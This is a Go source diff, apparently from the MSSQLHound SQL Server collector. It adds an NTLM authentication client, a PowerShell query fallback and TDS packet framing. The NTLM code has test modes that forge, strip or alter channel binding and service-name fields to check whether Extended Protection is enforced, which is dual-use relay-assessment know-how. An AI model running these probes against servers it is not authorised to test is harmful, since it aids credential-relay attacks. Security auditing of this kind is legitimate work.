+
+ // State preserved across message generation
+ negotiateMsg []byte
+ challengeMsg []byte // Raw Type2 bytes from server (needed for MIC computation)
+ serverChallenge [8]byte
+ targetInfoRaw []byte
+ negotiateFlags uint32
+ timestamp []byte // 8-byte FILETIME from server
+ serverDomain string // NetBIOS domain name from Type2 MsvAvNbDomainName (for NTLMv2 hash)
+}
+
+func newNTLMAuth(domain, username, password, targetName string) *ntlmAuth {
+ return &ntlmAuth{
+ domain: domain,
+ username: username,
+ password: password,
+ targetName: targetName,
+ testMode: EPATestNormal,
+ }
+}
+
+// SetEPATestMode configures how CBT and service binding are handled.
+func (a *ntlmAuth) SetEPATestMode(mode EPATestMode) {
+ a.testMode = mode
+}
+
+// SetChannelBindingHash sets the CBT hash computed from the TLS session.
+func (a *ntlmAuth) SetChannelBindingHash(hash []byte) {
+ a.channelBindingHash = hash
+}
+
+// CreateNegotiateMessage builds NTLM Type1 (Negotiate) message.
+func (a *ntlmAuth) CreateNegotiateMessage() []byte {
+ flags := ntlmFlagUnicode |
+ ntlmFlagOEM |
+ ntlmFlagRequestTarget |
+ ntlmFlagNTLM |
+ ntlmFlagAlwaysSign |
+ ntlmFlagExtendedSessionSecurity |
+ ntlmFlagTargetInfo |
+ ntlmFlagVersion |
+ ntlmFlag128 |
+ ntlmFlag56
+
+ // Minimal Type1: signature(8) + type(4) + flags(4) + domain fields(8) + workstation fields(8) + version(8)
+ msg := make([]byte, 40)
+ copy(msg[0:8], []byte("NTLMSSP\x00"))
+ binary.LittleEndian.PutUint32(msg[8:12], ntlmNegotiateType)
+ binary.LittleEndian.PutUint32(msg[12:16], flags)
+ // Domain Name Fields (empty)
+ // Workstation Fields (empty)
+ // Version: 10.0.20348 (Windows Server 2022)
+ msg[32] = 10 // Major
+ msg[33] = 0 // Minor
+ binary.LittleEndian.PutUint16(msg[34:36], 20348) // Build
+ msg[39] = 0x0F // NTLMSSP revision
+
+ a.negotiateMsg = make([]byte, len(msg))
+ copy(a.negotiateMsg, msg)
+ return msg
+}
+
+// ProcessChallenge parses NTLM Type2 (Challenge) and extracts server challenge,
+// flags, and target info AV_PAIRs.
+func (a *ntlmAuth) ProcessChallenge(challengeData []byte) error {
+ if len(challengeData) < 32 {
+ return fmt.Errorf("NTLM challenge too short: %d bytes", len(challengeData))
+ }
+
+ // Store raw challenge bytes for MIC computation (must use original bytes, not reconstructed)
+ a.challengeMsg = make([]byte, len(challengeData))
+ copy(a.challengeMsg, challengeData)
+
+ sig := string(challengeData[0:8])
+ if sig != "NTLMSSP\x00" {
+ return fmt.Errorf("invalid NTLM signature")
+ }
+
+ msgType := binary.LittleEndian.Uint32(challengeData[8:12])
+ if msgType != ntlmChallengeType {
+ return fmt.Errorf("expected NTLM challenge (type 2), got type %d", msgType)
+ }
+
+ // Server challenge at offset 24 (8 bytes)
+ copy(a.serverChallenge[:], challengeData[24:32])
+
+ // Negotiate flags at offset 20
+ a.negotiateFlags = binary.LittleEndian.Uint32(challengeData[20:24])
+
+ // Target info fields at offsets 40-47 (if present)
+ if len(challengeData) >= 48 {
+ targetInfoLen := binary.LittleEndian.Uint16(challengeData[40:42])
+ targetInfoOffset := binary.LittleEndian.Uint32(challengeData[44:48])
+
+ if targetInfoLen > 0 && int(targetInfoOffset)+int(targetInfoLen) <= len(challengeData) {
+ a.targetInfoRaw = make([]byte, targetInfoLen)
+ copy(a.targetInfoRaw, challengeData[targetInfoOffset:targetInfoOffset+uint32(targetInfoLen)])
+
+ // Extract timestamp and NetBIOS domain name from AV_PAIRs
+ pairs := parseAVPairs(a.targetInfoRaw)
+ for _, p := range pairs {
+ if p.ID == avIDMsvAvTimestamp && len(p.Value) == 8 {
+ a.timestamp = make([]byte, 8)
+ copy(a.timestamp, p.Value)
+ }
+ if p.ID == avIDMsvAvNbDomainName && len(p.Value) > 0 {
+ // Decode UTF-16LE domain name
+ a.serverDomain = decodeUTF16LE(p.Value)
+ }
+ }
+ }
+ }
+
+ return nil
+}
+
+// CreateAuthenticateMessage builds NTLM Type3 (Authenticate) message with
+// controllable AV_PAIRs based on the test mode.
+func (a *ntlmAuth) CreateAuthenticateMessage() ([]byte, error) {
+ if a.targetInfoRaw == nil {
+ return nil, fmt.Errorf("no target info available from challenge")
+ }
+
+ // Build modified target info with EPA-controlled AV_PAIRs
+ modifiedTargetInfo := a.buildModifiedTargetInfo()
+
+ // Generate client challenge (8 random bytes)
+ var clientChallenge [8]byte
+ if _, err := rand.Read(clientChallenge[:]); err != nil {
+ return nil, fmt.Errorf("generating client challenge: %w", err)
+ }
+
+ // Use server timestamp if available, otherwise generate one
+ timestamp := a.timestamp
+ if timestamp == nil {
+ timestamp = make([]byte, 8)
+ // Use a reasonable default timestamp
+ }
+
+ // Compute NTLMv2 hash using the server's NetBIOS domain name (from Type2 MsvAvNbDomainName)
+ // per MS-NLMP Section 3.3.2: "the client SHOULD use [MsvAvNbDomainName] for UserDom"
+ authDomain := a.domain
+ if a.serverDomain != "" {
+ authDomain = a.serverDomain
+ }
+ ntlmV2Hash := computeNTLMv2Hash(a.password, a.username, authDomain)
+
+ // Build the NtChallengeResponse blob
+ // Structure: ResponseType(1) + HiResponseType(1) + Reserved1(2) + Reserved2(4) +
+ // Timestamp(8) + ClientChallenge(8) + Reserved3(4) + TargetInfo + Reserved4(4)
+ blobLen := 28 + len(modifiedTargetInfo) + 4
+ blob := make([]byte, blobLen)
+ blob[0] = 0x01 // ResponseType
+ blob[1] = 0x01 // HiResponseType
+ // Reserved1 and Reserved2 are zero
+ copy(blob[8:16], timestamp)
+ copy(blob[16:24], clientChallenge[:])
+ // Reserved3 is zero
+ copy(blob[28:], modifiedTargetInfo)
+ // Reserved4 (trailing 4 zero bytes)
+
+ // Compute NTProofStr = HMAC_MD5(NTLMv2Hash, ServerChallenge + Blob)
+ challengeAndBlob := make([]byte, 8+len(blob))
+ copy(challengeAndBlob[:8], a.serverChallenge[:])
+ copy(challengeAndBlob[8:], blob)
+ ntProofStr := hmacMD5Sum(ntlmV2Hash, challengeAndBlob)
+
+ // NtChallengeResponse = NTProofStr + Blob
+ ntResponse := append(ntProofStr, blob...)
+
+ // Session base key = HMAC_MD5(NTLMv2Hash, NTProofStr)
+ sessionBaseKey := hmacMD5Sum(ntlmV2Hash, ntProofStr)
+
+ // LmChallengeResponse for NTLMv2 with target info: 24 zero bytes
+ lmResponse := make([]byte, 24)
+
+ // Build the authenticate flags
+ flags := ntlmFlagUnicode |
+ ntlmFlagRequestTarget |
+ ntlmFlagNTLM |
+ ntlmFlagAlwaysSign |
+ ntlmFlagExtendedSessionSecurity |
+ ntlmFlagTargetInfo |
+ ntlmFlagVersion |
+ ntlmFlag128 |
+ ntlmFlag56
+
+ // Build Type3 message (use same authDomain for consistency)
+ domain16 := encodeUTF16LE(authDomain)
+ user16 := encodeUTF16LE(a.username)
+ workstation16 := encodeUTF16LE("") // empty workstation
+
+ lmLen := len(lmResponse)
+ ntLen := len(ntResponse)
+ domainLen := len(domain16)
+ userLen := len(user16)
+ wsLen := len(workstation16)
+
+ // Header is 88 bytes (includes 16-byte MIC field)
+ headerSize := 88
+ totalLen := headerSize + lmLen + ntLen + domainLen + userLen + wsLen
+
+ msg := make([]byte, totalLen)
+ copy(msg[0:8], []byte("NTLMSSP\x00"))
+ binary.LittleEndian.PutUint32(msg[8:12], ntlmAuthenticateType)
+
+ offset := uint32(headerSize)
+
+ // LmChallengeResponse fields
+ binary.LittleEndian.PutUint16(msg[12:14], uint16(lmLen))
+ binary.LittleEndian.PutUint16(msg[14:16], uint16(lmLen))
+ binary.LittleEndian.PutUint32(msg[16:20], offset)
+ copy(msg[offset:], lmResponse)
+ offset += uint32(lmLen)
+
+ // NtChallengeResponse fields
+ binary.LittleEndian.PutUint16(msg[20:22], uint16(ntLen))
+ binary.LittleEndian.PutUint16(msg[22:24], uint16(ntLen))
+ binary.LittleEndian.PutUint32(msg[24:28], offset)
+ copy(msg[offset:], ntResponse)
+ offset += uint32(ntLen)
+
+ // Domain name fields
+ binary.LittleEndian.PutUint16(msg[28:30], uint16(domainLen))
+ binary.LittleEndian.PutUint16(msg[30:32], uint16(domainLen))
+ binary.LittleEndian.PutUint32(msg[32:36], offset)
+ copy(msg[offset:], domain16)
+ offset += uint32(domainLen)
+
+ // User name fields
+ binary.LittleEndian.PutUint16(msg[36:38], uint16(userLen))
+ binary.LittleEndian.PutUint16(msg[38:40], uint16(userLen))
+ binary.LittleEndian.PutUint32(msg[40:44], offset)
+ copy(msg[offset:], user16)
+ offset += uint32(userLen)
+
+ // Workstation fields
+ binary.LittleEndian.PutUint16(msg[44:46], uint16(wsLen))
+ binary.LittleEndian.PutUint16(msg[46:48], uint16(wsLen))
+ binary.LittleEndian.PutUint32(msg[48:52], offset)
+ copy(msg[offset:], workstation16)
+ offset += uint32(wsLen)
+
+ // Encrypted random session key fields (empty)
+ binary.LittleEndian.PutUint16(msg[52:54], 0)
+ binary.LittleEndian.PutUint16(msg[54:56], 0)
+ binary.LittleEndian.PutUint32(msg[56:60], offset)
+
+ // Negotiate flags
+ binary.LittleEndian.PutUint32(msg[60:64], flags)
+
+ // Version: 10.0.20348
+ msg[64] = 10
+ msg[65] = 0
+ binary.LittleEndian.PutUint16(msg[66:68], 20348)
+ msg[71] = 0x0F // NTLMSSP revision
+
+ // MIC (16 bytes at offset 72): compute over all three NTLM messages
+ // Must use the raw Type2 bytes from the server (not reconstructed)
+ // First zero it out (it's already zero), compute the MIC, then fill it in
+ mic := computeMIC(sessionBaseKey, a.negotiateMsg, a.challengeMsg, msg)
+ copy(msg[72:88], mic)
+
+ return msg, nil
+}
+
+// buildModifiedTargetInfo constructs the target info for the NtChallengeResponse
+// with AV_PAIRs added, removed, or modified per the EPATestMode.
+func (a *ntlmAuth) buildModifiedTargetInfo() []byte {
+ pairs := parseAVPairs(a.targetInfoRaw)
+
+ // Remove existing EOL, channel bindings, target name, and flags
+ // (we'll re-add them with our modifications)
+ var filtered []ntlmAVPair
+ for _, p := range pairs {
+ switch p.ID {
+ case avIDMsvAvEOL:
+ continue // will re-add at end
+ case avIDMsvChannelBindings:
+ continue // will add our own
+ case avIDMsvAvTargetName:
+ continue // will add our own
+ case avIDMsvAvFlags:
+ continue // will add our own with MIC flag
+ default:
+ filtered = append(filtered, p)
+ }
+ }
+
+ // Add MsvAvFlags with MIC present bit
+ flagsValue := make([]byte, 4)
+ binary.LittleEndian.PutUint32(flagsValue, msvAvFlagMICPresent)
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvFlags, Value: flagsValue})
+
+ // Add Channel Binding and Target Name based on test mode
+ switch a.testMode {
+ case EPATestNormal:
+ // Include correct CBT hash
+ if len(a.channelBindingHash) == 16 {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: a.channelBindingHash})
+ } else {
+ // No TLS = no CBT (empty 16-byte hash)
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: make([]byte, 16)})
+ }
+ // Include correct SPN
+ if a.targetName != "" {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)})
+ }
+
+ case EPATestBogusCBT:
+ // Include bogus 16-byte CBT hash
+ bogusCBT := []byte{0xc0, 0x91, 0x30, 0xd2, 0xc4, 0xc3, 0xd4, 0xc7, 0x51, 0x5a, 0xb4, 0x52, 0xdf, 0x08, 0xaf, 0xfd}
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: bogusCBT})
+ // Include correct SPN
+ if a.targetName != "" {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)})
+ }
+
+ case EPATestMissingCBT:
+ // Do NOT include MsvAvChannelBindings at all
+ // Include correct SPN
+ if a.targetName != "" {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(a.targetName)})
+ }
+
+ case EPATestBogusService:
+ // Include correct CBT (if available)
+ if len(a.channelBindingHash) == 16 {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: a.channelBindingHash})
+ } else {
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvChannelBindings, Value: make([]byte, 16)})
+ }
+ // Include bogus service name (cifs instead of MSSQLSvc)
+ hostname := a.targetName
+ if idx := strings.Index(hostname, "/"); idx >= 0 {
+ hostname = hostname[idx+1:]
+ }
+ bogusTarget := "cifs/" + hostname
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvTargetName, Value: encodeUTF16LE(bogusTarget)})
+
+ case EPATestMissingService:
+ // Do NOT include MsvAvChannelBindings
+ // Do NOT include MsvAvTargetName
+ // (both stripped)
+ }
+
+ // Add EOL terminator
+ filtered = append(filtered, ntlmAVPair{ID: avIDMsvAvEOL, Value: nil})
+
+ return serializeAVPairs(filtered)
+}
+
+// parseAVPairs parses raw target info bytes into a list of AV_PAIRs.
+func parseAVPairs(data []byte) []ntlmAVPair {
+ var pairs []ntlmAVPair
+ offset := 0
+ for offset+4 <= len(data) {
+ id := binary.LittleEndian.Uint16(data[offset : offset+2])
+ length := binary.LittleEndian.Uint16(data[offset+2 : offset+4])
+ offset += 4
+
+ if id == avIDMsvAvEOL {
+ pairs = append(pairs, ntlmAVPair{ID: id})
+ break
+ }
+
+ if offset+int(length) > len(data) {
+ break
+ }
+
+ value := make([]byte, length)
+ copy(value, data[offset:offset+int(length)])
+ pairs = append(pairs, ntlmAVPair{ID: id, Value: value})
+ offset += int(length)
+ }
+ return pairs
+}
+
+// serializeAVPairs serializes AV_PAIRs back to bytes.
+func serializeAVPairs(pairs []ntlmAVPair) []byte {
+ var buf []byte
+ for _, p := range pairs {
+ b := make([]byte, 4+len(p.Value))
+ binary.LittleEndian.PutUint16(b[0:2], p.ID)
+ binary.LittleEndian.PutUint16(b[2:4], uint16(len(p.Value)))
+ copy(b[4:], p.Value)
+ buf = append(buf, b...)
+ }
+ return buf
+}
+
+// computeNTLMv2Hash computes NTLMv2 hash: HMAC-MD5(MD4(UTF16LE(password)), UTF16LE(UPPER(username) + domain))
+func computeNTLMv2Hash(password, username, domain string) []byte {
+ // NT hash = MD4(UTF16LE(password))
+ h := md4.New()
+ h.Write(encodeUTF16LE(password))
+ ntHash := h.Sum(nil)
+
+ // NTLMv2 hash = HMAC-MD5(ntHash, UTF16LE(UPPER(username) + domain))
+ identity := encodeUTF16LE(strings.ToUpper(username) + domain)
+ return hmacMD5Sum(ntHash, identity)
+}
+
+// computeMIC computes the MIC over all three NTLM messages using HMAC-MD5.
+func computeMIC(sessionBaseKey, negotiateMsg, challengeMsg, authenticateMsg []byte) []byte {
+ data := make([]byte, 0, len(negotiateMsg)+len(challengeMsg)+len(authenticateMsg))
+ data = append(data, negotiateMsg...)
+ data = append(data, challengeMsg...)
+ data = append(data, authenticateMsg...)
+ return hmacMD5Sum(sessionBaseKey, data)
+}
+
+// computeChannelBindingHash computes the MD5 hash of the SEC_CHANNEL_BINDINGS
+// structure for the MsvAvChannelBindings AV_PAIR.
+// The input is the DER-encoded TLS server certificate.
+func computeChannelBindingHash(certDER []byte) []byte {
+ // Compute certificate hash using SHA-256 (tls-server-end-point per RFC 5929)
+ certHash := sha256.Sum256(certDER)
+
+ // Build SEC_CHANNEL_BINDINGS structure:
+ // Initiator addr type (4 bytes): 0
+ // Initiator addr length (4 bytes): 0
+ // Acceptor addr type (4 bytes): 0
+ // Acceptor addr length (4 bytes): 0
+ // Application data length (4 bytes): len("tls-server-end-point:" + certHash)
+ // Application data: "tls-server-end-point:" + certHash
+
+ prefix := []byte("tls-server-end-point:")
+ appData := append(prefix, certHash[:]...)
+ appDataLen := len(appData)
+
+ // Total structure: 20 bytes header + 4 bytes app data length + app data
+ // Actually the SEC_CHANNEL_BINDINGS struct is:
+ // dwInitiatorAddrType (4) + cbInitiatorLength (4) +
+ // dwAcceptorAddrType (4) + cbAcceptorLength (4) +
+ // cbApplicationDataLength (4) = 20 bytes
+ // Followed by the application data
+
+ structure := make([]byte, 20+appDataLen)
+ // All initiator/acceptor fields are zero
+ binary.LittleEndian.PutUint32(structure[16:20], uint32(appDataLen))
+ copy(structure[20:], appData)
+
+ // MD5 hash of the entire structure
+ hash := md5.Sum(structure)
+ return hash[:]
+}
+
+// getChannelBindingHashFromTLS extracts the TLS server certificate and computes the CBT hash.
+func getChannelBindingHashFromTLS(tlsConn *tls.Conn) ([]byte, error) {
+ state := tlsConn.ConnectionState()
+ if len(state.PeerCertificates) == 0 {
+ return nil, fmt.Errorf("no server certificate in TLS connection")
+ }
+
+ certDER := state.PeerCertificates[0].Raw
+ return computeChannelBindingHash(certDER), nil
+}
+
+// computeSPN builds the Service Principal Name for NTLM service binding.
+func computeSPN(hostname string, port int) string {
+ return fmt.Sprintf("MSSQLSvc/%s:%d", hostname, port)
+}
+
+// hmacMD5Sum computes HMAC-MD5.
+func hmacMD5Sum(key, data []byte) []byte {
+ h := hmac.New(md5.New, key)
+ h.Write(data)
+ return h.Sum(nil)
+}
+
+// encodeUTF16LE encodes a string as UTF-16LE bytes.
+func encodeUTF16LE(s string) []byte {
+ encoded := utf16.Encode([]rune(s))
+ b := make([]byte, 2*len(encoded))
+ for i, r := range encoded {
+ b[2*i] = byte(r)
+ b[2*i+1] = byte(r >> 8)
+ }
+ return b
+}
+
+// decodeUTF16LE decodes UTF-16LE bytes to a string.
+func decodeUTF16LE(b []byte) string {
+ if len(b)%2 != 0 {
+ b = b[:len(b)-1]
+ }
+ u16 := make([]uint16, len(b)/2)
+ for i := range u16 {
+ u16[i] = binary.LittleEndian.Uint16(b[2*i : 2*i+2])
+ }
+ return string(utf16.Decode(u16))
+}
diff --git a/internal/mssql/powershell_fallback.go b/internal/mssql/powershell_fallback.go
new file mode 100644
index 0000000..e3317e8
--- /dev/null
+++ b/internal/mssql/powershell_fallback.go
@@ -0,0 +1,313 @@
+// Package mssql provides SQL Server connection and data collection functionality.
+package mssql
+
+import (
+ "bytes"
+ "context"
+ "encoding/json"
+ "fmt"
+ "os/exec"
+ "regexp"
+ "strings"
+ "time"
+)
+
+// extractPowerShellError extracts the meaningful error message from PowerShell stderr output
+// PowerShell stderr includes the full script and verbose error info - we just want the exception message
+func extractPowerShellError(stderr string) string {
+ // Look for the exception message pattern from Write-Error output
+ // Example: 'Exception calling "Open" with "0" argument(s): "Login failed for user 'AD005\Z004HYMU-A01'."'
+
+ // Try to find the actual exception message
+ if idx := strings.Index(stderr, "Exception calling"); idx != -1 {
+ // Extract from "Exception calling" to the end of that line or next major section
+ rest := stderr[idx:]
+ // Find the quoted error message
+ re := regexp.MustCompile(`"([^"]+)"[^"]*$`)
+ if matches := re.FindStringSubmatch(strings.Split(rest, "\n")[0]); len(matches) > 1 {
+ return matches[1]
+ }
+ // Just return the first line
+ if nlIdx := strings.Index(rest, "\n"); nlIdx != -1 {
+ return strings.TrimSpace(rest[:nlIdx])
+ }
+ return strings.TrimSpace(rest)
+ }
+
+ // Look for common SQL error patterns
+ if idx := strings.Index(stderr, "Login failed"); idx != -1 {
+ rest := stderr[idx:]
+ if nlIdx := strings.Index(rest, "\n"); nlIdx != -1 {
+ return strings.TrimSpace(rest[:nlIdx])
+ }
+ return strings.TrimSpace(rest)
+ }
+
+ // Fallback: return first non-empty line that doesn't look like script content
+ lines := strings.Split(stderr, "\n")
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if line == "" {
+ continue
+ }
+ // Skip lines that look like script content
+ if strings.HasPrefix(line, "$") || strings.HasPrefix(line, "try") ||
+ strings.HasPrefix(line, "}") || strings.HasPrefix(line, "#") ||
+ strings.HasPrefix(line, "if") || strings.HasPrefix(line, "foreach") {
+ continue
+ }
+ return line
+ }
+
+ return strings.TrimSpace(stderr)
+}
+
+// PowerShellClient provides SQL Server connectivity using PowerShell and System.Data.SqlClient
+// as a fallback when go-mssqldb fails with SSPI/Kerberos authentication issues.
+type PowerShellClient struct {
+ serverInstance string
+ hostname string
+ port int
+ instanceName string
+ userID string
+ password string
+ useWindowsAuth bool
+ verbose bool
+}
+
+// NewPowerShellClient creates a new PowerShell-based SQL client
+func NewPowerShellClient(serverInstance, userID, password string) *PowerShellClient {
+ hostname, port, instanceName := parseServerInstance(serverInstance)
+
+ return &PowerShellClient{
+ serverInstance: serverInstance,
+ hostname: hostname,
+ port: port,
+ instanceName: instanceName,
+ userID: userID,
+ password: password,
+ useWindowsAuth: userID == "" && password == "",
+ }
+}
+
+// SetVerbose enables or disables verbose logging
+func (p *PowerShellClient) SetVerbose(verbose bool) {
+ p.verbose = verbose
+}
+
+// logVerbose logs a message only if verbose mode is enabled
+func (p *PowerShellClient) logVerbose(format string, args ...interface{}) {
+ if p.verbose {
+ fmt.Printf(format+"\n", args...)
+ }
+}
+
+// buildConnectionString creates the .NET SqlClient connection string
+func (p *PowerShellClient) buildConnectionString() string {
+ var parts []string
+
+ // Build server string
+ server := p.hostname
+ if p.instanceName != "" {
+ server = fmt.Sprintf("%s\\%s", p.hostname, p.instanceName)
+ } else if p.port > 0 && p.port != 1433 {
+ server = fmt.Sprintf("%s,%d", p.hostname, p.port)
+ }
+ parts = append(parts, fmt.Sprintf("Server=%s", server))
+
+ if p.useWindowsAuth {
+ parts = append(parts, "Integrated Security=True")
+ } else {
+ parts = append(parts, fmt.Sprintf("User Id=%s", p.userID))
+ parts = append(parts, fmt.Sprintf("Password=%s", p.password))
+ }
+
+ parts = append(parts, "TrustServerCertificate=True")
+ parts = append(parts, "Application Name=MSSQLHound")
+
+ return strings.Join(parts, ";")
+}
+
+// TestConnection tests if PowerShell can connect to the server
+func (p *PowerShellClient) TestConnection(ctx context.Context) error {
+ query := "SELECT 1 AS test"
+ _, err := p.ExecuteQuery(ctx, query)
+ return err
+}
+
+// QueryResult represents a row of query results
+type QueryResult map[string]interface{}
+
+// QueryResponse includes both results and column order
+type QueryResponse struct {
+ Columns []string `json:"columns"`
+ Rows []QueryResult `json:"rows"`
+}
+
+// ExecuteQuery executes a SQL query using PowerShell and returns the results as JSON
+func (p *PowerShellClient) ExecuteQuery(ctx context.Context, query string) (*QueryResponse, error) {
+ connStr := p.buildConnectionString()
+
+ // PowerShell script that executes the query and returns JSON with column order preserved
+ // Note: The SQL query is placed in a here-string (@' ... '@) which preserves
+ // content literally - no escaping needed. Only the connection string needs escaping.
+ psScript := fmt.Sprintf(`
+$ErrorActionPreference = 'Stop'
+try {
+ $conn = New-Object System.Data.SqlClient.SqlConnection
+ $conn.ConnectionString = '%s'
+ $conn.Open()
+
+ $cmd = $conn.CreateCommand()
+ $cmd.CommandText = @'
+%s
+'@
+ $cmd.CommandTimeout = 120
+
+ $adapter = New-Object System.Data.SqlClient.SqlDataAdapter($cmd)
+ $dataset = New-Object System.Data.DataSet
+ [void]$adapter.Fill($dataset)
+
+ $response = @{
+ columns = @()
+ rows = @()
+ }
+
+ if ($dataset.Tables.Count -gt 0) {
+ # Get column names in order
+ foreach ($col in $dataset.Tables[0].Columns) {
+ $response.columns += $col.ColumnName
+ }
+
+ foreach ($row in $dataset.Tables[0].Rows) {
+ $obj = @{}
+ foreach ($col in $dataset.Tables[0].Columns) {
+ $val = $row[$col.ColumnName]
+ if ($val -is [DBNull]) {
+ $obj[$col.ColumnName] = $null
+ } elseif ($val -is [byte[]]) {
+ $obj[$col.ColumnName] = "0x" + [BitConverter]::ToString($val).Replace("-", "")
+ } else {
+ $obj[$col.ColumnName] = $val
+ }
+ }
+ $response.rows += $obj
+ }
+ }
+
+ $conn.Close()
+ $response | ConvertTo-Json -Depth 10 -Compress
+} catch {
+ Write-Error $_.Exception.Message
+ exit 1
+}
+`, strings.ReplaceAll(connStr, "'", "''"), query)
+
+ // Create command with timeout
+ cmdCtx, cancel := context.WithTimeout(ctx, 2*time.Minute)
+ defer cancel()
+
+ cmd := exec.CommandContext(cmdCtx, "powershell", "-NoProfile", "-NonInteractive", "-Command", psScript)
+
+ var stdout, stderr bytes.Buffer
+ cmd.Stdout = &stdout
+ cmd.Stderr = &stderr
+
+ err := cmd.Run()
+ if err != nil {
+ errMsg := extractPowerShellError(stderr.String())
+ if errMsg == "" {
+ errMsg = err.Error()
+ }
+ return nil, fmt.Errorf("PowerShell: %s", errMsg)
+ }
+
+ output := strings.TrimSpace(stdout.String())
+ if output == "" || output == "null" {
+ return &QueryResponse{Columns: []string{}, Rows: []QueryResult{}}, nil
+ }
+
+ // Parse JSON result - now expects {columns: [...], rows: [...]}
+ var response QueryResponse
+ err = json.Unmarshal([]byte(output), &response)
+ if err != nil {
+ return nil, fmt.Errorf("failed to parse PowerShell output: %w", err)
+ }
+
+ return &response, nil
+}
+
+// ExecuteScalar executes a query and returns a single value
+func (p *PowerShellClient) ExecuteScalar(ctx context.Context, query string) (interface{}, error) {
+ response, err := p.ExecuteQuery(ctx, query)
+ if err != nil {
+ return nil, err
+ }
+ if len(response.Rows) == 0 || len(response.Columns) == 0 {
+ return nil, nil
+ }
+ // Return first column of first row (using column order)
+ firstCol := response.Columns[0]
+ return response.Rows[0][firstCol], nil
+}
+
+// GetString helper to get string value from QueryResult
+func (r QueryResult) GetString(key string) string {
+ if v, ok := r[key]; ok && v != nil {
+ switch val := v.(type) {
+ case string:
+ return val
+ case float64:
+ return fmt.Sprintf("%.0f", val)
+ default:
+ return fmt.Sprintf("%v", val)
+ }
+ }
+ return ""
+}
+
+// GetInt helper to get int value from QueryResult
+func (r QueryResult) GetInt(key string) int {
+ if v, ok := r[key]; ok && v != nil {
+ switch val := v.(type) {
+ case float64:
+ return int(val)
+ case int:
+ return val
+ case int64:
+ return int(val)
+ case string:
+ i, _ := fmt.Sscanf(val, "%d", new(int))
+ return i
+ }
+ }
+ return 0
+}
+
+// GetBool helper to get bool value from QueryResult
+func (r QueryResult) GetBool(key string) bool {
+ if v, ok := r[key]; ok && v != nil {
+ switch val := v.(type) {
+ case bool:
+ return val
+ case float64:
+ return val != 0
+ case int:
+ return val != 0
+ case string:
+ return strings.ToLower(val) == "true" || val == "1"
+ }
+ }
+ return false
+}
+
+// IsUntrustedDomainError checks if the error is the "untrusted domain" SSPI error
+func IsUntrustedDomainError(err error) bool {
+ if err == nil {
+ return false
+ }
+ errStr := strings.ToLower(err.Error())
+ return strings.Contains(errStr, "untrusted domain") ||
+ strings.Contains(errStr, "cannot be used with windows authentication") ||
+ strings.Contains(errStr, "cannot be used with integrated authentication")
+}
diff --git a/internal/mssql/tds_transport.go b/internal/mssql/tds_transport.go
new file mode 100644
index 0000000..af56156
--- /dev/null
+++ b/internal/mssql/tds_transport.go
@@ -0,0 +1,214 @@
+// Package mssql - TDS transport layer for raw EPA testing.
+// Implements TDS packet framing and TLS-over-TDS handshake adapter.
+package mssql
+
+import (
+ "bytes"
+ "crypto/tls"
+ "encoding/binary"
+ "fmt"
+ "io"
+ "net"
+ "time"
+)
+
+// TDS packet types
+const (
+ tdsPacketTabularResult byte = 0x04
+ tdsPacketLogin7 byte = 0x10
+ tdsPacketSSPI byte = 0x11
+ tdsPacketPrelogin byte = 0x12
+)
+
+// TDS header size
+const tdsHeaderSize = 8
+
+// Maximum TDS packet size for EPA testing
+const tdsMaxPacketSize = 4096
+
+// tdsConn wraps a net.Conn with TDS packet-level read/write.
+type tdsConn struct {
+ conn net.Conn
+}
+
+func newTDSConn(conn net.Conn) *tdsConn {
+ return &tdsConn{conn: conn}
+}
+
+// sendPacket sends a complete TDS packet with the given type and payload.
+func (t *tdsConn) sendPacket(packetType byte, payload []byte) error {
+ maxPayload := tdsMaxPacketSize - tdsHeaderSize
+ offset := 0
+ for offset < len(payload) {
+ end := offset + maxPayload
+ isLast := end >= len(payload)
+ if isLast {
+ end = len(payload)
+ }
+
+ chunk := payload[offset:end]
+ pktLen := tdsHeaderSize + len(chunk)
+
+ status := byte(0x00)
+ if isLast {
+ status = 0x01 // EOM
+ }
+
+ hdr := [tdsHeaderSize]byte{
+ packetType,
+ status,
+ byte(pktLen >> 8), byte(pktLen), // Length big-endian
+ 0x00, 0x00, // SPID
+ 0x00, // PacketID
+ 0x00, // Window
+ }
+
+ if _, err := t.conn.Write(hdr[:]); err != nil {
+ return fmt.Errorf("TDS write header: %w", err)
+ }
+ if _, err := t.conn.Write(chunk); err != nil {
+ return fmt.Errorf("TDS write payload: %w", err)
+ }
+
+ offset = end
+ }
+ return nil
+}
+
+// readFullPacket reads all TDS packets until EOM, returning concatenated payload.
+func (t *tdsConn) readFullPacket() (byte, []byte, error) {
+ var result []byte
+ var packetType byte
+
+ for {
+ hdr := make([]byte, tdsHeaderSize)
+ if _, err := io.ReadFull(t.conn, hdr); err != nil {
+ return 0, nil, fmt.Errorf("TDS read header: %w", err)
+ }
+
+ packetType = hdr[0]
+ status := hdr[1]
+ pktLen := int(binary.BigEndian.Uint16(hdr[2:4]))
+
+ if pktLen < tdsHeaderSize {
+ return 0, nil, fmt.Errorf("TDS packet length %d too small", pktLen)
+ }
+
+ payloadLen := pktLen - tdsHeaderSize
+ if payloadLen > 0 {
+ payload := make([]byte, payloadLen)
+ if _, err := io.ReadFull(t.conn, payload); err != nil {
+ return 0, nil, fmt.Errorf("TDS read payload: %w", err)
+ }
+ result = append(result, payload...)
+ }
+
+ if status&0x01 != 0 { // EOM
+ break
+ }
+ }
+
+ return packetType, result, nil
+}
+
+// tlsOverTDSConn implements net.Conn to wrap TLS handshake traffic inside
+// TDS PRELOGIN (0x12) packets. This is passed to tls.Client() during the
+// TLS-over-TDS handshake phase.
+type tlsOverTDSConn struct {
+ tds *tdsConn
+ readBuf bytes.Buffer
+}
+
+func (c *tlsOverTDSConn) Read(b []byte) (int, error) {
+ // If we have buffered data from a previous TDS packet, return it first
